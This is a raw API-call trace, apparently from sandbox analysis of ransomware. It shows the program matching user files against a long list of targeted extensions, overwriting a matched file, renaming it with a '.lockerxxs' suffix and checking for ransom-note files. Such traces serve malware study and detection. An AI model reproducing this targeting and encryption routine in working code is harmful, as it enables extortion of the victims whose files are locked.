PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.xlsm") returned 0 [0087.228] lstrlenA (lpString="*.xlsm") returned 6 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.dwg") returned 0 [0087.228] lstrlenA (lpString="*.dwg") returned 5 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.nd") returned 0 [0087.228] lstrlenA (lpString="*.nd") returned 4 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.tlg") returned 0 [0087.228] lstrlenA (lpString="*.tlg") returned 5 [0087.228] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.lgb") returned 0 [0087.228] lstrlenA (lpString="*.lgb") returned 5 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mov") returned 0 [0087.229] lstrlenA (lpString="*.mov") returned 5 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.xdw") returned 0 [0087.229] lstrlenA (lpString="*.xdw") returned 5 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.ods") returned 0 [0087.229] lstrlenA (lpString="*.ods") returned 5 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.wav") returned 0 [0087.229] lstrlenA (lpString="*.wav") returned 5 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.mp3") returned 0 [0087.229] lstrlenA (lpString="*.mp3") returned 5 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.aiff") returned 0 [0087.229] lstrlenA (lpString="*.aiff") returned 6 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.flac") returned 0 [0087.229] lstrlenA (lpString="*.flac") returned 6 [0087.229] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", pszSpec="*.m4a") returned 1 [0087.229] lstrlenA (lpString="*.m4a") returned 5 [0087.229] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a" [0087.229] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a" [0087.229] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a." [0087.229] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a.lockerxxs" [0087.230] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1uwnlbgvoq jp93xuzpo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.230] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x118f2 [0087.230] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x8ad70760, dwHighDateTime=0x1d5e132), lpLastAccessTime=0x407536*(dwLowDateTime=0x15d5c360, dwHighDateTime=0x1d5e241), lpLastWriteTime=0x40753e*(dwLowDateTime=0x15d5c360, dwHighDateTime=0x1d5e241)) returned 1 [0087.230] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.231] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x118cc, lpOverlapped=0x0) returned 1 [0087.234] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a") returned="1uwnlbGVOq jp93xUzPo.m4a" [0087.234] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.234] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x118cc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x118cc, lpOverlapped=0x0) returned 1 [0087.235] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.235] CloseHandle (hObject=0x8c) returned 1 [0087.235] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1uwnlbgvoq jp93xuzpo.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1uwnlbgvoq jp93xuzpo.m4a.lockerxxs")) returned 1 [0087.237] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ad7b320, ftCreationTime.dwHighDateTime=0x1d5d7ae, ftLastAccessTime.dwLowDateTime=0x9db155e0, ftLastAccessTime.dwHighDateTime=0x1d5dc8a, ftLastWriteTime.dwLowDateTime=0x9db155e0, ftLastWriteTime.dwHighDateTime=0x1d5dc8a, nFileSizeHigh=0x0, nFileSizeLow=0x4db6, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="2PLnC8T0na.bmp", cAlternateFileName="2PLNC8~1.BMP")) returned 1 [0087.237] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.237] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2PLnC8T0na.bmp") returned 1 [0087.237] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2PLnC8T0na.bmp") returned 1 [0087.237] lstrcmpiA (lpString1="", lpString2="2PLnC8T0na.bmp") returned -1 [0087.237] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1uwnlbGVOq jp93xUzPo.m4a") returned="1uwnlbGVOq jp93xUzPo.m4a" [0087.237] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.237] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.237] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.238] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.238] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="2PLnC8T0na.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp" [0087.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.ems") returned 0 [0087.238] lstrlenA (lpString="*.ems") returned 5 [0087.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.db") returned 0 [0087.238] lstrlenA (lpString="*.db") returned 4 [0087.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.dbf") returned 0 [0087.238] lstrlenA (lpString="*.dbf") returned 5 [0087.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.myox") returned 0 [0087.238] lstrlenA (lpString="*.myox") returned 6 [0087.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.myo") returned 0 [0087.238] lstrlenA (lpString="*.myo") returned 5 [0087.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qbw") returned 0 [0087.238] lstrlenA (lpString="*.qbw") returned 5 [0087.238] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qbb") returned 0 [0087.239] lstrlenA (lpString="*.qbb") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qbm") returned 0 [0087.239] lstrlenA (lpString="*.qbm") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qbo") returned 0 [0087.239] lstrlenA (lpString="*.qbo") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qbx") returned 0 [0087.239] lstrlenA (lpString="*.qbx") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qba") returned 0 [0087.239] lstrlenA (lpString="*.qba") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qby") returned 0 [0087.239] lstrlenA (lpString="*.qby") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qbj") returned 0 [0087.239] lstrlenA (lpString="*.qbj") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.ofx") returned 0 [0087.239] lstrlenA (lpString="*.ofx") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.qif") returned 0 [0087.239] lstrlenA (lpString="*.qif") returned 5 [0087.239] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mye") returned 0 [0087.240] lstrlenA (lpString="*.mye") returned 5 [0087.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mbox") returned 0 [0087.240] lstrlenA (lpString="*.mbox") returned 6 [0087.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.eml") returned 0 [0087.240] lstrlenA (lpString="*.eml") returned 5 [0087.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.pst") returned 0 [0087.240] lstrlenA (lpString="*.pst") returned 5 [0087.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.ost") returned 0 [0087.240] lstrlenA (lpString="*.ost") returned 5 [0087.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.idx") returned 0 [0087.240] lstrlenA (lpString="*.idx") returned 5 [0087.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.dbx") returned 0 [0087.240] lstrlenA (lpString="*.dbx") returned 5 [0087.240] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.sql") returned 0 [0087.240] lstrlenA (lpString="*.sql") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mdb") returned 0 [0087.241] lstrlenA (lpString="*.mdb") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.fdb") returned 0 [0087.241] lstrlenA (lpString="*.fdb") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.wab") returned 0 [0087.241] lstrlenA (lpString="*.wab") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.dat") returned 0 [0087.241] lstrlenA (lpString="*.dat") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.txt") returned 0 [0087.241] lstrlenA (lpString="*.txt") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.jpeg") returned 0 [0087.241] lstrlenA (lpString="*.jpeg") returned 6 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.jpg") returned 0 [0087.241] lstrlenA (lpString="*.jpg") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.png") returned 0 [0087.241] lstrlenA (lpString="*.png") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.php") returned 0 [0087.241] lstrlenA (lpString="*.php") returned 5 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.cs") returned 0 [0087.241] lstrlenA (lpString="*.cs") returned 4 [0087.241] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.cpp") returned 0 [0087.242] lstrlenA (lpString="*.cpp") returned 5 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.rar") returned 0 [0087.242] lstrlenA (lpString="*.rar") returned 5 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.zip") returned 0 [0087.242] lstrlenA (lpString="*.zip") returned 5 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.html") returned 0 [0087.242] lstrlenA (lpString="*.html") returned 6 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.htm") returned 0 [0087.242] lstrlenA (lpString="*.htm") returned 5 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.xlsx") returned 0 [0087.242] lstrlenA (lpString="*.xlsx") returned 6 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.xls") returned 0 [0087.242] lstrlenA (lpString="*.xls") returned 5 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mp4") returned 0 [0087.242] lstrlenA (lpString="*.mp4") returned 5 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.ppt") returned 0 [0087.242] lstrlenA (lpString="*.ppt") returned 5 [0087.242] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.pptx") returned 0 [0087.243] lstrlenA (lpString="*.pptx") returned 6 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.doc") returned 0 [0087.243] lstrlenA (lpString="*.doc") returned 5 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.dot") returned 0 [0087.243] lstrlenA (lpString="*.dot") returned 5 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.docx") returned 0 [0087.243] lstrlenA (lpString="*.docx") returned 6 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.7z") returned 0 [0087.243] lstrlenA (lpString="*.7z") returned 4 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.tar") returned 0 [0087.243] lstrlenA (lpString="*.tar") returned 5 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.bz2") returned 0 [0087.243] lstrlenA (lpString="*.bz2") returned 5 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.gz") returned 0 [0087.243] lstrlenA (lpString="*.gz") returned 4 [0087.243] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mkv") returned 0 [0087.243] lstrlenA (lpString="*.mkv") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.eml") returned 0 [0087.244] lstrlenA (lpString="*.eml") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.msg") returned 0 [0087.244] lstrlenA (lpString="*.msg") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.edb") returned 0 [0087.244] lstrlenA (lpString="*.edb") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.accdb") returned 0 [0087.244] lstrlenA (lpString="*.accdb") returned 7 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.odb") returned 0 [0087.244] lstrlenA (lpString="*.odb") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.java") returned 0 [0087.244] lstrlenA (lpString="*.java") returned 6 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.asm") returned 0 [0087.244] lstrlenA (lpString="*.asm") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.pfx") returned 0 [0087.244] lstrlenA (lpString="*.pfx") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.pem") returned 0 [0087.244] lstrlenA (lpString="*.pem") returned 5 [0087.244] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.p12") returned 0 [0087.245] lstrlenA (lpString="*.p12") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.gpg") returned 0 [0087.245] lstrlenA (lpString="*.gpg") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.vsd") returned 0 [0087.245] lstrlenA (lpString="*.vsd") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.odg") returned 0 [0087.245] lstrlenA (lpString="*.odg") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.raw") returned 0 [0087.245] lstrlenA (lpString="*.raw") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.nef") returned 0 [0087.245] lstrlenA (lpString="*.nef") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.svg") returned 0 [0087.245] lstrlenA (lpString="*.svg") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.psd") returned 0 [0087.245] lstrlenA (lpString="*.psd") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.vmx") returned 0 [0087.245] lstrlenA (lpString="*.vmx") returned 5 [0087.245] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.vmdk") returned 0 [0087.246] lstrlenA (lpString="*.vmdk") returned 6 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.vdi") returned 0 [0087.246] lstrlenA (lpString="*.vdi") returned 5 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.lay6") returned 0 [0087.246] lstrlenA (lpString="*.lay6") returned 6 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.mpeg") returned 0 [0087.246] lstrlenA (lpString="*.mpeg") returned 6 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.djvu") returned 0 [0087.246] lstrlenA (lpString="*.djvu") returned 6 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.tiff") returned 0 [0087.246] lstrlenA (lpString="*.tiff") returned 6 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.backup") returned 0 [0087.246] lstrlenA (lpString="*.backup") returned 8 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.pdf") returned 0 [0087.246] lstrlenA (lpString="*.pdf") returned 5 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.cert") returned 0 [0087.246] lstrlenA (lpString="*.cert") returned 6 [0087.246] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2PLnC8T0na.bmp", pszSpec="*.docm") returned 0 [0087.246] lstrlenA (lpString="*.docm") returned 6 [0087.247] 